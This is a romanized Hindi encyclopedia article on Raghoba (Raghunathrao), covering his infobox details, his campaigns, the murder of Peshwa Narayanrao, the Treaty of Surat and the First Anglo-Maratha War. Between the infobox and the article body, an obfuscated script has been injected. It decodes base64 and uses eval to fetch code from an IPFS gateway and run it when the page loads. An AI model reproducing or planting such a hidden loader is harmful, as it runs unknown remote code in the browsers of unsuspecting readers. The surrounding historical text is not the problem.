राघोबा
raghoba
| |
| poora nam | raghoba |
| any nam | raghunatharav |
| janm | 18 agast, 1734 ee. |
| mrityu tithi | 11 disambar, 1783 ee. |
| pita/mata | peshava bajirav pratham |
| upadhi | peshava |
| yuddh | maratha yuddh, (1775 ee. se 1783 ee.) |
| sanbandhit lekh | shivaji, shahaji bhoansale, shambhaji peshava, balaji vishvanath, bajirav pratham, bajirav dvitiy, rajaram shivaji, gvaliyar, nana ph danavis, daulatarav shinde, salabaee ki sandhi, tipoo sultan, soorat ki sandhi, aangl-maratha yuddh, peshava |
| peshava kal | 1773-1774 ee. |
| any janakari | raghunatharav ki samast deshabhakti kunthit ho gee aur usane bambee jakar aangrezoan se sahayata ki yachana ki tatha 1775 ee. mean unase sandhi kar li, jo ki soorat ki sandhi ke nam se prasiddh hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>raghoba (aangrezi: Raghoba, janm: 18 agast, 1734 ee., mrityu: 11 disambar, 1783 ee.) jise 'raghunatharav' ke nam se bhi jana jata hai, dvitiy peshava bajirav pratham ka dvitiy putr tha, jo ek kushal sena nayak tha. apane b de bhaee balaji bajirav ke peshava kal mean usane holkar ke sahayog se uttari bharat mean brihat sainik abhiyan chalaya tha. raghunatharav apane bhatije madhavarav ko peshava banane ke khilaf tha. madhavarav pratham ki mrityu ke bad narayanarav peshava hua, lekin raghunatharav ne usaki hatya karava di. apane jivan ke aantim din usane aangrezoan ki peanshan par ashrit rahakar vyatit kie the. amritarav raghunatharav (raghoba) ka dattak putr tha, jo peshava bajirav pratham ka doosara putr tha.
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abdali se samana
1758 ee. mean usane ahamadashah abdali ke putr taimoorashah ko parast karake sarahind par adhikar kar liya tatha panjab par adhikar karake marathoan (hinduoan) ki satta atak tak sansthapit kar di. kintu rajanitik tatha arthik drishtiyoan se ukt upalabdhiyaan labhadayak siddh nahian hueean. taimoorashah ko panjab se khade dane ke karan usake pita ahamadashah abdali ne 1759 ee. mean bharat par ek bar phir se akraman karake marathoan ki shakti ka unmoolan kar diya. isake uparant 1761 ee. mean panipat ke tritiy yuddh mean marathoan ki gahari parajay huee. is yuddh mean bhishan nar sanhar hua, par raghunavarav kisi prakar se bach nikala.
mahattvakaankshi vyakti
raghunatharav atyaghik mahattvakaankshi tha. b de bhaee balaji bajirav ki mrityu ke uparant usake putr aur apane bhatije madhavarav ke peshava banane par vah kshubdh ho gaya. kintu navayuvak peshava madhavarav yogy evan chatur nikala. usane raghunavarav ki samast chaloan ko viphal kar diya. kintu 1772 ee. mean madhavarav pratham ki achanak mrityu ho jane ke karan jab usaka chhota bhaee narayanarav peshava hua to raghunatharav apani mahattvakaanksha ko aankush mean nahian rakh saka. usane 1773 ee. mean shadayantr karake navayuvak peshava ko apani aankhoan ke samane hi marava dala. mrityu ke samay narayanarav ka koee bhi putr nahian tha. at: raghunatharav peshava pad ka akela davedar hua aur 1773 ee. mean hi use peshava ghoshit kar diya gaya.
virodh
kintu nana ph danavis ke netritv mean marathoan ke ek shaktishali dal ne poona mean usake padasin hone ka sabal virodh kiya. is dal ko narayanarav ke maranoparant 1774 mean usaka ek putr utpann hone se aur bhi adhik sahara mil gaya. raghunatharav ke virodhiyoan ne avilamb navajat shishu madhavarav narayan ko peshava niyukt kar diya. unhoanne ek sanrakshak samiti bana li tatha balak peshava ke nam par samast maratha rajy ka sanchalan sambhal liya. is prakar raghunatharav akela p d gaya aur use maharashtr se nikal diya gaya.
aangrezoan ki sharan
apani mahattvakaankshaoan par pani phir jane se raghunatharav ki samast deshabhakti kunthit ho gee aur usane bambee jakar aangrezoan se sahayata ki yachana ki tatha 1775 ee. mean unase sandhi kar li, jo ki soorat ki sandhi ke nam se prasiddh hai. sandhi ke aantargat aangrezoan ne raghunatharav ki sahayata ke lie 2500 sainik dene ka vachan diya, parantu inaka samast vyay bhar raghunatharav ko hi vahan karana tha. isake bad mean raghunatharav ne sashti aur basee tatha bh dauch aur soorat ziloan ki ay ka kuchh bhag aangrezoan ko dena svikar kar liya. sath hi usane eest indiya kampani ke shatruoan se kisi prakar ki sandhi n karane tatha poona sarakar se sandhi ya samajhauta karate samay aangrezoan ko bhi bhagi banane ka vachan diya.
maratha yuddh
sandhi ke anusar bambee ke aangrezoan ne raghunatharav ka paksh liya aur pratham maratha yuddh arambh ho gaya. yah yuddh 1775 ee. se 1783 ee. tak chalata raha aur isaki samapti salabaee ki sandhi se huee. apani deshadrohita evan ghrinit svarthaparata ke parinamasvaroop raghunatharav ko keval peanshan hi prapt huee, jisaka upabhog vah apane ekaki jivan mean mrityuparyant karata raha.
nidhan
raghoba ka nidhan 11 disambar, 1783 ee. mean hua tha.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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